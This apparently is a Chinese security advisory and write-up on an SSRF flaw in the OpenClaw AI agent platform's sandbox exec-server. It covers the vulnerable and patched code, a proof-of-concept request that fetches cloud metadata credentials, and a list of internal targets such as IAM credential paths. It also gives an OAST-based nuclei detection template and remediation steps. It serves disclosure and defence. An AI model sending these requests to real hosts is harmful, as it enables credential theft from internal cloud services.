严重性: 高 · CVSS: 7.7(CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)· CWE-918(服务端请求伪造)
| 字段 | 值 |
|---|---|
| 安全公告 | GHSA-mgvr-6gvw-3rgr |
| NVD | CVE-2026-62201 |
| 产品 | OpenClaw(npm 包 openclaw)— 沙箱 exec-server 组件 |
| 受影响版本 | openclaw < 2026.6.6 |
| 已修复版本 | 2026.6.6 及更高版本 |
| 根本原因 | exec-server 内嵌 HTTP 辅助脚本(SANDBOX_HTTP_REQUEST_SCRIPT)缺少 SSRF 校验 |
| 修复提交 | 21410d1c — "fix(codex): guard sandbox http requests" |
| 攻击向量 | 向 exec-server 的 http/request 处理器发送 HTTP POST 请求,携带攻击者控制的 URL |
| 影响 | 低权限调用方可访问 OpenClaw 网络策略本应阻止的内部网络目标(云元数据、私有 IP、localhost 服务) |
OpenClaw 是一个 AI 智能体平台,其沙箱 exec-server 暴露了一个 HTTP 请求辅助接口,供智能体发起出站网络调用。2026.6.6 之前的版本在发布该辅助接口时没有任何 SSRF 防护:低信任调用方——即平台认为信任级别低于网关操作员的任何智能体、工具或输入路径——可以提交任意 URL,并让 exec-server 从宿主机网络内部发起请求。
适用于直接沙箱出站流量的网络策略检查,在请求经由 exec-server HTTP 接口时并未生效。这种不一致性正是漏洞所在:exec-server 充当了通往内部网络的无限制 HTTP 代理。
当 OpenClaw 在沙箱中运行 Codex 智能体时,会启动一个本地 exec-server(extensions/codex/src/app-server/sandbox-exec-server.ts),该服务通过 WebSocket/HTTP 传输承载 JSON-RPC 方法。其中一个方法 http/request 允许智能体获取 URL。该实现将请求通过一个内嵌的小型 Python 脚本——SANDBOX_HTTP_REQUEST_SCRIPT——进行转发,由该脚本执行实际的 urllib 工作。
请求处理器位于 extensions/codex/src/app-server/sandbox-exec-server/http.ts。
Python 辅助脚本接收 URL 后仅检查了协议类型:
# 来自 [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT(节选)
def main():
input_data = json.load(sys.stdin)
url = str(input_data.get("url", ""))
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError("http/request only supports http and https URLs")
request = urllib.request.Request(url, ...)
with urllib.request.urlopen(request, timeout=timeout) as response:
handle_response(input_data, response)
这就是全部的防护门槛。存在以下缺失:
localhost、*.internal、metadata.google.internal 等)http://169.254.169.254/ 的重定向会被盲目跟随结果:{"method":"GET","url":"http://<internal-host>/"} 会将内部响应体返回给调用方。exec-server 成为通往宿主机网络的开放代理。
提交 21410d1c 在两个层面都增加了纵深防御:
第一层 — TypeScript 预检查(http.ts 中的 assertSandboxHttpRequestTargetAllowed):
function assertSandboxHttpRequestTargetAllowed(url: string): void {
const parsed = new URL(url);
if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
throw new SsrFBlockedError(...);
}
if (isBlockedHostnameOrIp(parsed.hostname)) {
throw new SsrFBlockedError(...);
}
}
第二层 — Python 辅助脚本加固(内嵌脚本中的 assert_url_allowed):
localhost、localhost.localdomain、metadata.google.internal,以及 *.localhost、*.local、*.internal 后缀169.254.169.254、100.100.100.200、fd00:ec2::254100.64.0.0/10、基准测试 198.18.0.0/15、文档 2001:db8::/32 等ipaddress 分类:环回、私有、链路本地、组播、保留、未指定GuardedRedirectHandler:每一次重定向跳转在跟随之前都会重新执行 def assert_url_allowed(url):
parsed = urllib.parse.urlparse(url)
...
hostname = normalize_hostname(parsed.hostname)
if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
raise ValueError("Blocked hostname or private/internal/special-use IP address")
results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
addresses = {entry[4][0] for entry in results if entry[4]}
if not addresses or any(is_blocked_ip(address) for address in addresses):
raise ValueError("Blocked: resolves to private/internal/special-use IP address")
PINNED_ADDRESSES[hostname] = sorted(addresses)
2026.6.6,且沙箱 exec-server 已启用http/request(平台将其视为低权限访问——例如插件、工具或输入路径,而非网关操作员)步骤 1 — 发送针对内部服务的请求:
POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json
{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}
步骤 2 — 存在漏洞的响应(HTTP 200):
exec-server 获取了内部 URL 并将响应体返回给调用方——以 base64 编码的 bodyBase64 形式包装:
{
"status": 200,
"headers": [{"name":"Content-Type","value":"application/json"}],
"bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}
解码后:
{
"secret": "...",
"instanceId": "...",
"region": "us-east-1",
"role": "admin-role"
}
步骤 3 — 已修复版本的响应(HTTP 502):
{
"error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}
在已修复版本中,内部目标无法再通过 exec-server 访问。
http://169.254.169.254/latest/meta-data/iam/security-credentials/ → IAM 凭据http://127.0.0.1:<port>/ 用于访问同机部署的未认证管理接口CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7.7 高
安全公告的定位很重要:OpenClaw 的可信操作员模型假定网关操作员是可信的。漏洞在于低信任面(插件、工具、输入路径)可以访问策略本应阻止的目标。
已提供检测模板——基于 OAST,无需预先了解内部拓扑:
http:
- raw:
- |
POST /exec/http HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"method":"GET","url":"http://{{interactsh-url}}/","headers":[]}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: body
words:
- "bodyBase64"
已向上游提交:projectdiscovery/nuclei-templates#17183
/exec/http(或等效的 WebSocket JSON-RPC)的 POST 请求,其 JSON 正文中的 url 字段指向私有/内部目标169.254.169.254、100.100.100.200)发起的请求npm install [email protected](或更高版本)。该修复在 TS 边界和 Python 辅助脚本内部均添加了完整的 SSRF 校验。2026.6.6本研究基于公开披露的漏洞数据和部署在隔离实验室中的软件进行。不涉及任何生产系统、第三方网络或零日研究。本文使用的所有 PoC 均为无害的只读请求。
assert_url_allowed::ffff:a.b.c.d)、6to4(2002::/16)、Teredo 和 ISATAP 形式会被解包,并检查其中内嵌的 IPv4 地址